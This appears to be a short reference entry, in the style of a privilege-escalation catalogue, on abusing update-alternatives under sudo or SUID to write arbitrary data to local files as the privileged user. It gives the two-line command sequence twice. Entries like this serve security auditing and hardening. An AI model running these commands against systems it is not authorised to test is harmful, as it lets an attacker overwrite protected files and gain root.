This executable can write data to local files.
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo DATA >/path/to/temp-file
update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo DATA >/path/to/temp-file
update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0